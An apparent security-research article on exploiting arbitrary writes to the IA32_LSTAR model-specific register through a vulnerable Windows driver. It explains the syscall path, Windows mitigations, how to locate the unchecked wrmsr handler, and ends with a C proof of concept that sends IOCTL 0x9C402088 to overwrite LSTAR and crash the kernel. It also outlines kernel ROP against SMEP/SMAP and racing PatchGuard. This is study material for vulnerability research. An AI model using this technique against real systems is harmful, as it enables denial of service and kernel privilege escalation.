MSR vulnerability manipulation: Full control
1. Introduction
In this article, we will discuss the mechanisms of exploiting arbitrary writes to the Model-specific registers (MSR) of the processor, specifically the IA32_LSTAR register. Exploiting vulnerabilities that lead to arbitrary writes to the MSR register allows intercepting system calls (syscall) and gaining control over the kernel. To begin with, let's discuss what MSR registers are, then how the transition from user-mode code to kernel-mode code occurs, then consider the approach to implementing vulnerable drivers, and finally discuss protection mechanisms such as SMEP, SMAP, KVAS, KPTI, and KPP.
2. MSR Registers
Model-specific registers (MSR) — These are special registers of the processor that can be represented as "global variables" of the CPU. They are intended for low-level work with the processor and can change depending on the specific model. For example, MSR can be used to control energy consumption and timing, to obtain information about the processor's performance and work with other hardware functions, and to store important system information required for proper system operation. To interact with MSR, privileged instructions rdmsr (read) and wrmsr (write) are used. These instructions are privileged, meaning that they are only available in kernel mode, since direct access to MSR and modification of the values stored there can lead to system instability. Programmers working in user mode do not need to directly interact with MSR.
The wrmsr (Write to Model Specific Register) instruction writes a value to MSR. It uses the ECX register to specify the MSR address, and the EDX:EAX registers contain the 64-bit value to be written. On 64-bit architectures, the old 32-bit registers RDX, RAX and RCX are ignored. The rdmsr (Read from Model Specific Register) instruction reads a value from MSR. It also uses the ECX register to specify the MSR address, and the EDX:EAX registers contain the read 64-bit value. On 64-bit architectures, the old 32-bit RCX register is ignored, and the old 32-bit RDX and RAX registers are zeroed.
In this article, we will discuss one of these registers, IA32_LSTAR, since most transitions from user mode to kernel mode occur through it. In general, there are the following MSR registers in the context of system calls:
- IA32_STAR (System Target Address Register, 0xC0000081): This register is used in 32-bit systems to store the address of the system call handler and the segment selector.
- IA32_LSTAR (Long System Target Address Register, 0xC0000082): In 64-bit systems, this MSR defines the address of the system call handler that is invoked by the syscall instruction. When the processor executes syscall, it transitions to kernel mode and begins executing at the address stored in IA32_LSTAR.
- IA32_CSTAR (Compatibility System Target Address Register, 0xC0000083): This MSR is used in compatibility mode in 64-bit systems when executing 32-bit code, and is analogous to IA32_LSTAR for syscall.
- IA32_SYSENTER_CS (System Enter Code Segment, 0×00000174): This MSR specifies the code segment that the processor transitions to when executing the sysenter instruction.
- IA32_SYSENTER_ESP (System Enter Stack Pointer, 0×00000175): This MSR specifies the stack pointer that is used when executing the sysenter instruction after transitioning to kernel mode.
- IA32_SYSENTER_EIP (System Enter Instruction Pointer, 0×00000176): This MSR specifies the address that the processor transitions to after executing the sysenter instruction. It is analogous to IA32_LSTAR.
It is important to note that different MSR registers can relate to different address spaces: processor and thread. MSR registers related to the thread address space will have their own value for each thread, while MSR registers related to the processor address space (such as LSTAR) will have the same value for all threads executing on the same physical processor core. Because of this, if the processor transfers a thread that executes code that exploits a vulnerability to another physical processor core, it will most likely lead to a system crash.
3. Protecting the Transition from User Mode to Kernel Mode
Now we need to understand how the system behaves when making a system call (syscall instruction). In short, when a program needs to perform a privileged operation, such as reading information from a disk, it uses a special processor instruction - syscall (or sysenter in 32-bit systems). When executing this instruction, the processor takes the address from the IA32_LSTAR register and transitions to kernel mode. On modern Windows systems, this register should point to the KiSystemCall64() or KiSystemCall64Shadow() function in the ntoskrnl.exe module, which is the system call handler. After executing the necessary operations with the help of the sysret instruction, the execution returns to the user mode on the instruction following the syscall.

Thus, if the contents of LSTAR are rewritten to point to a shellcode, this should allow the code to be executed freely at the kernel level. However, this is currently prevented by several protection mechanisms.
3.1 KVAS or KPTI
Kernel Virtual Address Shadow (KVAS) — a mechanism to prevent the Meltdown vulnerability, implemented in Windows (known as Kernel Page-Table Isolation (KPTI) in Linux). To translate physical addresses to virtual ones, page tables are used. In the KPROCESS structure of each process, the DirectoryTableBase contains pages of kernel and user address space. In a system with enabled KAS, the KPROCESS structure adds a UserDirectoryTableBase, which contains only user address space pages.
In this way, code executed in user mode cannot access kernel memory pages. With the exception of the .KASCODE section, such separation into two page tables is realized only in non-privileged processes, whereas in privileged processes, only the DirectoryTableBase is used. Before the introduction of KAS in MSR, the LSTAR register contained the address of KiSystemCall64(), which is currently replaced by the address of KiSystemCall64Shadow(), located in the .KASCODE section of the ntoskrnl.exe module.

The first instruction in KiSystemCall64Shadow() is swapgs, which swaps the current value of the GS register. In user mode, the GS register points to the TEB (Thread Environment Block) structure, while in kernel mode, it points to the KPCR (Kernel Processor Control Region) structure.

After swapping the value of the GS register, KiSystemCall64Shadow() checks if KAS is enabled for the current process. If so, then the CR3 register, which contains the page table address, is switched to point to the DirectoryTableBase (also before sysret, with KAS enabled, the original value of CR3 is restored). After all preparatory actions, KiSystemCall64Shadow() passes control to KiSystemCall64(), which is part of the original KiSystemCall64() function, and control is then passed to the common entry point.
3.2 SMEP and SMAP
Supervisor Mode Execution Prevention (SMEP) — is a protection mechanism that prevents the execution of code located in user address space when the code is executed in kernel mode. In essence, SMEP is an analogue of Data Execution Prevention (DEP), and, just like DEP, it can be bypassed using Return-Oriented Programming (ROP). However, the ROP gadget set must be from the kernel space. Supervisor Mode Access Prevention (SMAP) — is a protection mechanism similar to SMEP, but it prohibits access to user memory from kernel mode. It seems at first glance that this does not cause any special difficulties, but... It means that the entire ROP gadget chain must be in the kernel space, since the user stack is in user space.
The implementation of SMEP and SMAP is controlled by flags in the CR4 register.

In some cases, when it is necessary to copy data from user mode to kernel mode or vice versa, there is an option to temporarily disable SMAP. To do this, it is necessary to execute the clac (clear AC) and stac (set AC) instructions, which clear or set the value of the AC (Alignment Check) bit in the EFLAGS register, thereby controlling the operation of SMAP.
3.3 KPP (Kernel Patch Protection)
KPP (Kernel Patch Protection), also known as PatchGuard — is a protection mechanism developed by Microsoft and used in Windows operating systems. Its main goal is to detect and prevent unauthorized changes to kernel code and data structures.
KPP periodically performs checks on the integrity of critical system structures and kernel code. It uses checksums and control sums of these structures to verify their integrity. If KPP detects any unauthorized changes, it means that someone is trying to modify the kernel, and the system immediately goes into BSOD and restarts. This means that code exploiting vulnerabilities in kernel mode must work as quickly as possible and then restore the original value of IA32_LSTAR, as well as any other modified kernel structures. If this is not done in time, KPP will detect these changes and trigger a BSOD.
4. Malicious Driver Analysis
The topic of analysis and search for vulnerabilities in drivers is too broad to fit into one article, so it requires a separate series of quite voluminous articles. Here, we will briefly describe the approach to static analysis on the example of a vulnerable driver.
4.1. Loading the Driver into IDA Pro \ Ghidra
The first step is to load the driver file into a disassembler. After loading, IDA automatically determines the entry point of the driver - the DriverEntry function, which is called when the driver is initialized.
4.2. Analysis of the DriverEntry Function
The DriverEntry function is responsible for initializing the driver's resources: creating devices (Device), symbolic links and initializing the dispatch routines. To interact with the driver from user space, special devices and links are used (Symlink).
- IoCreateDevice() creates a device: «\Device\VulnerableDevice»
- IoCreateSymbolicLink() creates a symbolic link: «\.\VulnerableDevice»

4.3. Search for MajorFunctions
The driver can receive data from the user through the use of different WinAPI. For such APIs as WriteFile, ReadFile and DeviceIoControl, the driver provides its own function - a handler. The addresses of these functions are placed in the MajorFunctions array in the DriverObject structure under the corresponding index.

The main attack vector on the driver is the transmission of arbitrary IOCTL (Input/Output Control) codes from user space, and the handler for IOCTL is written in the index IRP_MJ_DEVICE_CONTROL.
4.4. Analyze the DEVICE_CONTROL function and define the IOCTL.
The function responsible for processing the IOCTL represents (in a simplified form) a construction of switch-case, where each IOCTL corresponds to a function that will perform some actions. At the beginning of the driver function, it is necessary to extract the IOCTL itself from IRP->Parameters.DeviceIoControl.IoControlCode

4.5. Find the instruction wrmsr and implement restrictions.
Next, you need to find the place in the code where the instruction wrmsr is called.

Hex-Rays represents this function as follows:

Now you need to implement restrictions - are there any restrictions on the values that are passed to wrmsr? In this driver, the values are passed directly from the user's request.

Thus, the driver does not control the values passed to the wrmsr instruction, which results in an arbitrary write to the MSR.
5. PoC
Write a small PoC for this driver. Initially, create an input buffer and place the LSTAR address and the value to be written into it. The output of the realized driver is the first 4 bytes - the MSR address, followed by the 8-byte value.
int main() {
unsigned char inputData[] {
0x82, 0x00, 0x00, 0xC0, //little-endian IA32_LSTAR
0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF
};
After which you need to use the CreateFile function to obtain a descriptor for the device registered by the driver.
printf("Start exploitation\n");
printf("...Try to open Device\n");
HANDLE deviceHandle = CreateFileW(L"\\\\.\\VulnerableDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (deviceHandle == INVALID_HANDLE_VALUE) {
printf("[-] Error:%x", GetLastError());
exit(1);
}
printf("[+] Device opened\n");
The necessary IOCTL code that leads to the wrmsr instruction in this driver is 0x9C402088, use DeviceIoControl to send the IOCTL code and the user buffer to the driver.
printf("...Try to send IOCTL\n");
BOOL ioctlResult = DeviceIoControl(deviceHandle, 0x9C402088, &inputData, sizeof(inputData), NULL, NULL, NULL, NULL);
if (!ioctlResult) {
printf("[-]Error:%x", GetLastError());
exit(1);
}
printf("[+] IOCTL sent\n");
return 0;
}
Run the code and see which values the registers will contain before executing the wrmsr instruction.
As we mentioned earlier, when executing the wrmsr instruction, the MSR address is written to the ECX register (the upper 32 bits are zeroed), and the value is written to the EDX:EAX register (the upper 32 bits are zeroed).

After executing the wrmsr instruction, check the value of IA32_LSTAR:

As a result of such manipulation, the system will terminate with an error code indicating that the kernel was unable to find the corresponding address in IA32_LSTAR (UNEXPECTED_KERNEL_MODE_TRAP):

6. Conclusion
Therefore, if a driver has a function that writes values to MSR registers directly from the user's IRP request without any restrictions or checks, it leads to an vulnerability that can be easily exploited to terminate the system. And the exploitation of this vulnerability allows executing arbitrary code in the name of the kernel.